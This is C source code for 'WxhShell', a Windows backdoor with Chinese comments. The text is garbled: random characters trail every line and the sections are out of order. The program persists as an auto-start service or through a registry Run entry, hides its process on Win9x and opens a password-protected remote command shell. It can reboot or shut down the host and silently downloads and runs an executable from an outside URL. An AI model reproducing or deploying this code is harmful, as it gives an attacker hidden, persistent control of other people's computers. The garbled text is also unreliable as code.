    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5J8U] :Y)  
    if(Boot(SHUTDOWN)) Qa=v }d-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gS4@3BOw&.  
    else { {%3sj"suB  
    closesocket(wsh); D[ (A`!)  
    ExitThread(0); +&hd3  
    } bIahjxd:  
    break; g)#neEA J  
    } E h>qUa  
  // 获取shell k9?fE  
  case 's': { D>Dch0{H,:  
    CmdShell(wsh); 'uw=)8t7  
    closesocket(wsh); 8!{F6DG  
    ExitThread(0); $17utJ 58  
    break; J(\f(jh/  
  } elf2!  
  // 退出 F&x9.  
  case 'x': { %B'*eBj~fw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -5t .1/  
    CloseIt(wsh); DkGC+Dw  
    break; !Wz%Hy:ZK  
    } !r*Ogv[  
  // 离开 ^X/[x]UOT@  
  case 'q': { Fm3B8Int  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ks@  
    closesocket(wsh); *XZlnO  
    WSACleanup(); `-L{J0xq  
    exit(1); }<hyW9  
    break; 2-*zevPiG=  
        } Jx8?x#}  
  } ~4fjFo&_\  
  } Y^-faL7*\  
w8df-]r  
  // 提示信息 k-&fPEjG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'|NF<  
} =N%;HfUD  
  } ?tLBEoUmKT  
y9OxPq.Cy  
  return; 5&\%  
} xi2!__  
nT.2HQ((Xg  
// shell模块句柄 5g3D}F>OJ  
int CmdShell(SOCKET sock) !!4` #Z0+#  
{ D> |R.{  
STARTUPINFO si; S-\;f jh  
ZeroMemory(&si,sizeof(si)); ')Drv)L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rmOcA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X>`e(1`_O  
PROCESS_INFORMATION ProcessInfo; tGcp48R-:+  
char cmdline[]="cmd"; VnB"0 "%w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b]X c5Dp{  
  return 0; ,dM}B-  
} ,Mp/Y>f  
&nk[gb o\  
// 自身启动模式 `|\z#Et  
int StartFromService(void) ;LM,<QJ  
{ 7LM?<lp]  
typedef struct Rs<li\GS  
{ o0Y {k8  
  DWORD ExitStatus; :eIu<_,}  
  DWORD PebBaseAddress; k%5 o5Hx  
  DWORD AffinityMask; XUrxnJ4  
  DWORD BasePriority; +p:#$R)MW  
  ULONG UniqueProcessId; $-zt,iRyV  
  ULONG InheritedFromUniqueProcessId; H53dy*wb$  
}   PROCESS_BASIC_INFORMATION; gxS*rzCG  
8R;)WlLu=  
PROCNTQSIP NtQueryInformationProcess; Wu\{)g{&  
Bg?f}nu7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; > :s#MwIwm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [4u.*oL&  
y3 vDKZ  
  HANDLE             hProcess; $y\\ ?  
  PROCESS_BASIC_INFORMATION pbi; ^x8yW brE  
)c:i 'L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y Q_lJIX  
  if(NULL == hInst ) return 0; +5|wd6  
J_]B,' 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [/ B$cH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); df=G}M(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ' w^Md  
Hp2y sU  
  if (!NtQueryInformationProcess) return 0; "Cz8nG  
o\oS_f:RD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $n30[P@p;  
  if(!hProcess) return 0; <g SZt\  
U8+5{,$\.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a9hK8e  
&&/2oP+z  
  CloseHandle(hProcess); @ j/UDM  
:`~;~gW<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k?%?EsR  
if(hProcess==NULL) return 0; Bg"KNg  
Z= P]UD  
HMODULE hMod; +}eGCZra  
char procName[255]; rq;Xcc  
unsigned long cbNeeded; &R? \q*  
oDtgB O<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Nu ~4  
Z%]s+V)st  
  CloseHandle(hProcess); 1$&(ei]*:  
yHY \4OHS  
if(strstr(procName,"services")) return 1; // 以服务启动 .DzFt c  
v##k,R.d  
  return 0; // 注册表启动 $IZ02ZM$  
} noali96J  
V&i/3g  
// 主模块 z+RA  
int StartWxhshell(LPSTR lpCmdLine) R4 8w\?L  
{ \yIan<q  
  SOCKET wsl; jF5Y-CX  
BOOL val=TRUE; ^EK]z8;|  
  int port=0; (%&HufT  
  struct sockaddr_in door; v{/z`J!JR  
A4lW8&rHI  
  if(wscfg.ws_autoins) Install(); C5q n(tv  
o5NV4=  
port=atoi(lpCmdLine); F }/tV7m  
IY Ilab\TZ  
if(port<=0) port=wscfg.ws_port; 1{ TmK9U  
=0Z^q0.  
  WSADATA data; qhFWQ1W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mBQA~@ }  
T$p!I RPt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7rF )fKW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m&o6j>C  
  door.sin_family = AF_INET; xc4g`Xi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N:"S/G>r ;  
  door.sin_port = htons(port); =UGyZV:z5  
4<j)1i=A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !fwMkws  
closesocket(wsl); Bu[sSoA  
return 1; "iu9r%l94  
} it Byw1/  
us/}_r74N*  
  if(listen(wsl,2) == INVALID_SOCKET) { ULqFJ*nla  
closesocket(wsl); ~F gxhK2+  
return 1; ?Xdb%.   
} X+0+ }S  
  Wxhshell(wsl); re]e4lZ  
  WSACleanup(); }0Q_yuzx0m  
S!'Y:AeD&  
return 0; V 6DWYs>  
Bri yy  
} Owe"x2D\  
RM\A$.5  
// 以NT服务方式启动 })v`` +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )=~OP>7B  
{ c#-o@`Po  
DWORD   status = 0; v- 793pr  
  DWORD   specificError = 0xfffffff; z( 00"ei  
>-%tvrS%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .paKV"LJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K~1u R:DR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]0Y5 Z)3:z  
  serviceStatus.dwWin32ExitCode     = 0; O,a1?_m8  
  serviceStatus.dwServiceSpecificExitCode = 0; -2o_ L?  
  serviceStatus.dwCheckPoint       = 0; DG%vEM,y  
  serviceStatus.dwWaitHint       = 0; ?@*hU2MTC  
-a=RCzX]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YadG05PDe  
  if (hServiceStatusHandle==0) return; 50< QF  
QPc4bg\J~t  
status = GetLastError(); ZOAHM1ci  
  if (status!=NO_ERROR) e-Pn,j  
{ <"GgqyRzv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WQJnWe   
    serviceStatus.dwCheckPoint       = 0; ?M<q95pL  
    serviceStatus.dwWaitHint       = 0; 3PLYC}Jq  
    serviceStatus.dwWin32ExitCode     = status; PVCFh$pnw  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0*=[1tdWY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yi29+T7j4S  
    return; UrMEL; @g  
  } n+'gVEBA  
IqA'Vz,lL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |~+i=y  
  serviceStatus.dwCheckPoint       = 0; Oq`CKf  
  serviceStatus.dwWaitHint       = 0; f/?uo sS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6Z}8"VJr {  
} ,8tk]W[C  
efT@A}sV  
// 处理NT服务事件,比如:启动、停止 _~QiQDq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8q}955Nl  
{ 4X}.aZO&b  
switch(fdwControl) =._V$:a6o  
{ ~W>3EJghR,  
case SERVICE_CONTROL_STOP: A$7j B4  
  serviceStatus.dwWin32ExitCode = 0; ;4%Co)Rw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cF2!By3M  
  serviceStatus.dwCheckPoint   = 0; q6]T;)U&  
  serviceStatus.dwWaitHint     = 0; 9I|D"zXn  
  { pO_$8=G+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;h7W(NO~z  
  } }zO>y%eI  
  return; a'Vz|S G  
case SERVICE_CONTROL_PAUSE: ?LwBF;Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H(QbH)S$6  
  break; K Y=$RO  
case SERVICE_CONTROL_CONTINUE: ^b;3Jj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0XSMby?t`  
  break; ` P,-NVB  
case SERVICE_CONTROL_INTERROGATE: O>KrTK-AV  
  break; (zmL MG(R  
}; : Yb_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2]UwIxzR  
} r.JM!x8  
p0|PVn.^h  
// 标准应用程序主函数 _w.H]`C!X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u6t%*''  
{ l^cz&k=+  
9OS~;9YR  
// 获取操作系统版本 Hz >_tA"^T  
OsIsNt=GetOsVer(); zMg(\8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K_Q-9j  
"n, %Hh  
  // 从命令行安装 !>8/Xz~-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2{6%+>jB  
w;wgh`ur  
  // 下载执行文件 u[<ij  
if(wscfg.ws_downexe) { ,Qh9}I7;C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EJid@  
  WinExec(wscfg.ws_filenam,SW_HIDE); N f^6t1se  
} h`@z61UI  
e#<A\?  
if(!OsIsNt) { 8+n *S$  
// 如果时win9x,隐藏进程并且设置为注册表启动 [W8"Mc|ve  
HideProc();  oB8LJZ;  
StartWxhshell(lpCmdLine); ml1My1  
} mD_sf_2>  
else ?X'l&k>  
  if(StartFromService()) NtDxwzj  
  // 以服务方式启动 dsG:DS`q  
  StartServiceCtrlDispatcher(DispatchTable); wZsjbNf`K  
else \uyZl2=WWa  
  // 普通方式启动 *K'#$`2  
  StartWxhshell(lpCmdLine); +=Y$v2BZA3  
X EL~y  
return 0; >h9T/J8  
} i4dy0jfN  
[KW9J}]  
nkO4~p  
#GfM!<q<  
=========================================== 6 9s%   
XE`u  
<Em|0hth  
b^'>XT~1J&  
(o2.*x  
d9.I83SS  
" (v0i]1ly[  
eAK=ylF;  
#include <stdio.h> g?gF*^_0  
#include <string.h> C>*1f|<  
#include <windows.h> Blox~=cW  
#include <winsock2.h> Q- }cB  
#include <winsvc.h> x4CSUcKb  
#include <urlmon.h> vduh5.  
9!,f4&G`  
#pragma comment (lib, "Ws2_32.lib") /ptG  
#pragma comment (lib, "urlmon.lib") X?z CB  
y(yBRR  
#define MAX_USER   100 // 最大客户端连接数 mNPz%B  
#define BUF_SOCK   200 // sock buffer Z5 Tu*u=  
#define KEY_BUFF   255 // 输入 buffer Y?4N%c_;  
0/JTbf. CX  
#define REBOOT     0   // 重启 ,aU8. J_U  
#define SHUTDOWN   1   // 关机 THcX.%ToT  
B42qiV2/k  
#define DEF_PORT   5000 // 监听端口 m~`f0  
4Jk[X>I~  
#define REG_LEN     16   // 注册表键长度 l~n=_R3  
#define SVC_LEN     80   // NT服务名长度 KSR'X0'  
axM(3k.n  
// 从dll定义API b" kL)DL1L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z]R% A:6K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *@fVogr^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q[&CtM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X8 A$&  
+<^c2diX  
// wxhshell配置信息 Gxw>.O){  
struct WSCFG { Io4Ss1="  
  int ws_port;         // 监听端口 Y.#:l<  
  char ws_passstr[REG_LEN]; // 口令 Z"d21D~h9`  
  int ws_autoins;       // 安装标记, 1=yes 0=no a/gr1  
  char ws_regname[REG_LEN]; // 注册表键名 ,F?O} ijk  
  char ws_svcname[REG_LEN]; // 服务名 ;tWi4iT+.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _53N uEM1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (BZd%!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Ep6vm X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t/c)[l hV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xP5Z -eL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n7,LfO#  
'&F Pk T:5  
}; !4}Wp.  
HEs.pET\  
// default Wxhshell configuration 13MB1n  
struct WSCFG wscfg={DEF_PORT, -f=4\3y3p  
    "xuhuanlingzhe", g]PC6xr38  
    1, 3|vZ `}  
    "Wxhshell", [w}KjV/yi  
    "Wxhshell", s>a(#6Q  
            "WxhShell Service", t}2M8ue(&  
    "Wrsky Windows CmdShell Service", r~;TId} #  
    "Please Input Your Password: ", DC,]FmWs!+  
  1, uE&2M>2  
  "http://www.wrsky.com/wxhshell.exe", Ta)6ly7'  
  "Wxhshell.exe" PHg(O:3WG  
    }; o(Q='kK  
*/ok]kX'  
// 消息定义模块 43/!pW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BF(Kaf;<t.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SAUG+{Uq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dk@iAL*v  
char *msg_ws_ext="\n\rExit."; Rqun}v}  
char *msg_ws_end="\n\rQuit."; #QKgY7  
char *msg_ws_boot="\n\rReboot..."; [OwrIL  
char *msg_ws_poff="\n\rShutdown..."; f4+}k GJN  
char *msg_ws_down="\n\rSave to "; zF_aJ+i:~  
86ml.VOR  
char *msg_ws_err="\n\rErr!"; ^e:rRk7 &  
char *msg_ws_ok="\n\rOK!"; M%N_4j.  
"/zDcZbL;  
char ExeFile[MAX_PATH]; Kc {~Q  
int nUser = 0; 4 moVS1  
HANDLE handles[MAX_USER]; e%v0EJ},  
int OsIsNt; FS6I?q#tQ  
|&\cr\T\r  
SERVICE_STATUS       serviceStatus; l1D"*J 2`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DTM xfQdk  
h 7*#;j  
// 函数声明 F1b~S;lm  
int Install(void); !K/zFYl  
int Uninstall(void); z1~FE  
int DownloadFile(char *sURL, SOCKET wsh);  F!&_  
int Boot(int flag); h2mU  
void HideProc(void); k4BiH5\hA  
int GetOsVer(void); Kv#TJn  
int Wxhshell(SOCKET wsl); =d1R9O  
void TalkWithClient(void *cs); ~w}Zv0  
int CmdShell(SOCKET sock); gpe-)hD@R  
int StartFromService(void); L`0}wR?+  
int StartWxhshell(LPSTR lpCmdLine); Z=y^9]  
\ Q0-yNt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fhbp,CX4p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d;LBV<Z?  
Tsl0$(2W  
// 数据结构和表定义 few=`%/  
SERVICE_TABLE_ENTRY DispatchTable[] = 5JA5:4aev  
{  u9,ZY >  
{wscfg.ws_svcname, NTServiceMain}, KI8Q =*  
{NULL, NULL} qh~S)^zFJ  
}; rR 3(yy0L  
z9P;HGuZ  
// 自我安装 }Oh@`xTxt  
int Install(void) TF;}NQ  
{ P] 9-+  
  char svExeFile[MAX_PATH]; l@nG?l #  
  HKEY key; 7|$ H}$  
  strcpy(svExeFile,ExeFile); A]mXV4RmI  
jBnvu@K"  
// 如果是win9x系统,修改注册表设为自启动 x#&%lJT  
if(!OsIsNt) { 7Jvb6V<R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PU{7s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]QK@zb}x  
  RegCloseKey(key); 9lCZ i?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 Ll<^P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;Ispx0m  
  RegCloseKey(key); SBqx_4}  
  return 0; *<T,Fyc|  
    } K)8N8Js(  
  } <aEY=IF4  
} |h75S.UY  
else { Tq=OYJq5U  
.~fAcc{Qj  
// 如果是NT以上系统,安装为系统服务 VS_xC $X!S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w`F4.e  
if (schSCManager!=0) $ h<l  
{ x1nqhSaD  
  SC_HANDLE schService = CreateService c=A)_ZFg  
  ( z4[S02s  
  schSCManager, %$.]g  
  wscfg.ws_svcname, Ah <6m5+  
  wscfg.ws_svcdisp, KgMW  
  SERVICE_ALL_ACCESS, =lqBRut  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PgF7ug%,@C  
  SERVICE_AUTO_START, X1{U''$ K  
  SERVICE_ERROR_NORMAL, l~9P4 ,  
  svExeFile, VvTs87  
  NULL, Qg;?C  
  NULL, sVJwe\!  
  NULL, e.:SBXZ  
  NULL, d %Z+.O  
  NULL CUo %i/R  
  ); 9x0Ao*D<t  
  if (schService!=0) 60u}iiC@  
  { $VLCD  
  CloseServiceHandle(schService); `:fc*n,*  
  CloseServiceHandle(schSCManager);   S9Ka  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zIjUfgO/M  
  strcat(svExeFile,wscfg.ws_svcname); ]Y@ia]x&P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NiTLQ"~e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (`pd>  
  RegCloseKey(key); I%<,JRAV  
  return 0; L_WVTz?`  
    } G[=8Ko0U+n  
  } nQW`X=Ku  
  CloseServiceHandle(schSCManager); M&5;Qeoiv  
} y8.(filNB  
} R0!qweGi@  
7iJ=~po:o  
return 1; 7f9i5E1  
} ZHku3)V=o  
`]xot8  
// 自我卸载 v<qiu>sbz}  
int Uninstall(void) 0^PI&7A?y  
{  EL[N%M3  
  HKEY key; 9 O/l{  
p&%M=SzN  
if(!OsIsNt) { x>yeF,q1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8O5@FU 3  
  RegDeleteValue(key,wscfg.ws_regname); _4VS.~}/R  
  RegCloseKey(key); )=)=]|3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i+z;tF`  
  RegDeleteValue(key,wscfg.ws_regname); wEImpsC`  
  RegCloseKey(key); u*NU MT2  
  return 0; ^Q\O8f[u  
  } "?~u*5  
} :RnFRAcr  
} ped3}i+|]  
else { K&WNtk3hT  
jGtoc,\X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JyBsOC3  
if (schSCManager!=0) S2jO  
{ #iot.alNA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '0!IF&p'  
  if (schService!=0) jJmg9&^R  
  { {,|J?>{  
  if(DeleteService(schService)!=0) { #!%\97ZR  
  CloseServiceHandle(schService); }m~2[5q%/  
  CloseServiceHandle(schSCManager); p<@0b  
  return 0; O!(FNv0  
  } P|S'MS';:  
  CloseServiceHandle(schService); mne=9/sE"  
  } n?QpVROo\  
  CloseServiceHandle(schSCManager); E Fx@O  
} y ~ A]  
} f;(]P  
AF qut  
return 1; nFn@Z'T$N  
} / !*gH1 s  
p?X`f#  
// 从指定url下载文件 G([!(8&2Y  
int DownloadFile(char *sURL, SOCKET wsh) kOfu7Zj  
{ =m4_8)-8u  
  HRESULT hr; '42P=vzo  
char seps[]= "/"; B(GcPDj(K  
char *token; % DQ.f*%  
char *file; @42!\1YT  
char myURL[MAX_PATH]; %` c?cB  
char myFILE[MAX_PATH]; @'Er&[P  
C<.t'|  
strcpy(myURL,sURL); 7b_Ihv   
  token=strtok(myURL,seps); qR~s&SC#  
  while(token!=NULL) TT429  
  {  4^L+LY  
    file=token;  (BgO<  
  token=strtok(NULL,seps); %EuXL% B  
  } od- 0wJN-m  
aQ ~  
GetCurrentDirectory(MAX_PATH,myFILE); 'y#kRC=G:  
strcat(myFILE, "\\"); )p MZ5|+X  
strcat(myFILE, file); T~k5` ~\(  
  send(wsh,myFILE,strlen(myFILE),0); NC; 4  
send(wsh,"...",3,0); Xf.w( -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KB,!s7A  
  if(hr==S_OK) RN?z)9!  
return 0; iz`u@QKc%  
else /:a~;i  
return 1; 4ifWNL^)  
VY'#>k} }  
} A#mf*]'  
Aa5IccR  
// 系统电源模块 ;a+>><x]  
int Boot(int flag) \^wI9g~0  
{ 4"e7 43(  
  HANDLE hToken; lA39$oJ  
  TOKEN_PRIVILEGES tkp; T|p$Ddt`+  
'iN8JO>  
  if(OsIsNt) {  ##7,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2#nn}HEOC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n8zh;vuJ  
    tkp.PrivilegeCount = 1; w+cI0lj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1rV?^5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {PHxm  
if(flag==REBOOT) { 3<x_[0v`K1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'M\ou}P  
  return 0; xA nAW  
} Llf>C,)  
else { z(^p@&r)F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U~ SK 'R  
  return 0; A+j~oR  
} S:] w@$  
  } nMc d(&`N  
  else { bw{%X  
if(flag==REBOOT) { >RxZ-.,a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RIUJ20PfYQ  
  return 0; :yvUHx  
} S<Q6b_D  
else { >P5 EW!d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wX7B&w8wV  
  return 0; au8bEw&W  
} .1MXQLy  
} |pr~Ohz  
=o=)EU{~  
return 1; =,I,K=+_x  
} &l%#OI}OE  
4EuZe:'X  
// win9x进程隐藏模块 <;x+ ?j  
void HideProc(void) knypSgk_  
{ K:P gkc  
+bd/*^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MQ"<r,o?:  
  if ( hKernel != NULL ) 4;|&}Ij  
  { Arz> P@EQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XH)MBr@Fz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iD@2_m)  
    FreeLibrary(hKernel); ?S!lX[#v  
  } 2P9hx5PiV  
NS=puo  
return; 9F k wtF  
} 0;e>kz3o  
Cs%'Af  
// 获取操作系统版本 Y&k'4Y%  
int GetOsVer(void) 2`t4@T  
{ x&)P)H0vn  
  OSVERSIONINFO winfo; 9VkuYm,3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CN: 36  
  GetVersionEx(&winfo); <s-_ieW'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? Z8_(e0U  
  return 1; av wU)6L  
  else +YhTb  
  return 0; <H)h+?&~d  
} $K\\ 8$Z  
 7P]_03  
// 客户端句柄模块 05nG |  
int Wxhshell(SOCKET wsl) -CY?~W L&  
{ .he%a3e  
  SOCKET wsh; 5nqj  
  struct sockaddr_in client; 50rq} -  
  DWORD myID; ux VXnQQ  
yYWGM  
  while(nUser<MAX_USER) Lc*i[J<s  
{ ^']xkS  
  int nSize=sizeof(client); rtf>\j+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `EU=u_N  
  if(wsh==INVALID_SOCKET) return 1; WABq6q!  
RhbYDsG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~|Gtm[9Ru  
if(handles[nUser]==0) jbC7U9t7  
  closesocket(wsh); O|%><I?I  
else |/ZpZ7  
  nUser++; |; {wy  
  } 4<Bj;1*4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _l}&|:  
!K(0)~u  
  return 0; 5x4JDaG2  
} O>|Q Zd  
K-k;`s#  
// 关闭 socket OyZgg(iN  
void CloseIt(SOCKET wsh) 398}a!XM  
{ &c ayhL/%  
closesocket(wsh); $0D]d.w=  
nUser--; Jan73AOX  
ExitThread(0); :%xiH%C>  
} /jeurCQ8#u  
t%q@W,2J  
// 客户端请求句柄 JL`n12$m  
void TalkWithClient(void *cs) rMfp%DMA  
{ WJ=eV8Uk  
~e ]83?  
  SOCKET wsh=(SOCKET)cs; V8`t7[r  
  char pwd[SVC_LEN]; )@\= pE.H  
  char cmd[KEY_BUFF]; O|?>rK  
char chr[1]; hqD]^P>l1  
int i,j; EFqWnz  
4mQ:i7~  
  while (nUser < MAX_USER) { -fT]}T6=  
536H*HdN  
if(wscfg.ws_passstr) { M7fw/i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DZilK:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P< O[S  
  //ZeroMemory(pwd,KEY_BUFF); z6ArSLlZ  
      i=0; N'i%9SBcg  
  while(i<SVC_LEN) { k)1K6ug  
|94"bDL3~  
  // 设置超时 iaLsIy#h  
  fd_set FdRead; Vqb4 MWW  
  struct timeval TimeOut; 5|9,S  
  FD_ZERO(&FdRead); 1<\@i{;xsU  
  FD_SET(wsh,&FdRead); M`9qo8zCi  
  TimeOut.tv_sec=8; `QnKal)  
  TimeOut.tv_usec=0; zVd2kuI&?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); im Zi7o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Op, ?\   
py]m^)yc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8G6PcTqv"  
  pwd=chr[0]; J;Xh{3[vO  
  if(chr[0]==0xd || chr[0]==0xa) { }f+If{  
  pwd=0; h*Rh:yCR>  
  break; gah3d*d7  
  } zy"L%i  
  i++; X2}\i5{  
    } q?nXhUD  
SsIy;l  
  // 如果是非法用户,关闭 socket +\fr3@Yc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^&03D5@LoY  
} /!=uM .  
m.iCGX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d(3F:dbk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X*KQWs.  
X|TEeE c[L  
while(1) { 9TIyY`2!  
,^pM]+NF|  
  ZeroMemory(cmd,KEY_BUFF); %[u6<  
Kyt.[" p  
      // 自动支持客户端 telnet标准   !hrXud=#"  
  j=0; 9%S{fd\#  
  while(j<KEY_BUFF) { GbFLu`Iu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : ^F+m QN  
  cmd[j]=chr[0]; 5x(`z   
  if(chr[0]==0xa || chr[0]==0xd) { AjKP -[  
  cmd[j]=0; J;W(}"cFq  
  break; =Mzg={)v  
  } g{.>nE^Sc5  
  j++; :!Wijdq  
    } I?YTX  
Dd-;;Y1C  
  // 下载文件 [^EU'lewnW  
  if(strstr(cmd,"http://")) { d rnqX-E;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5+vCuVZ  
  if(DownloadFile(cmd,wsh)) |Zr5I";  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;5:g%Dt  
  else x#-uf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UCj4%y6t  
  } P~Q5d&1SO  
  else { {hGr`Rh  
! E` Tt[  
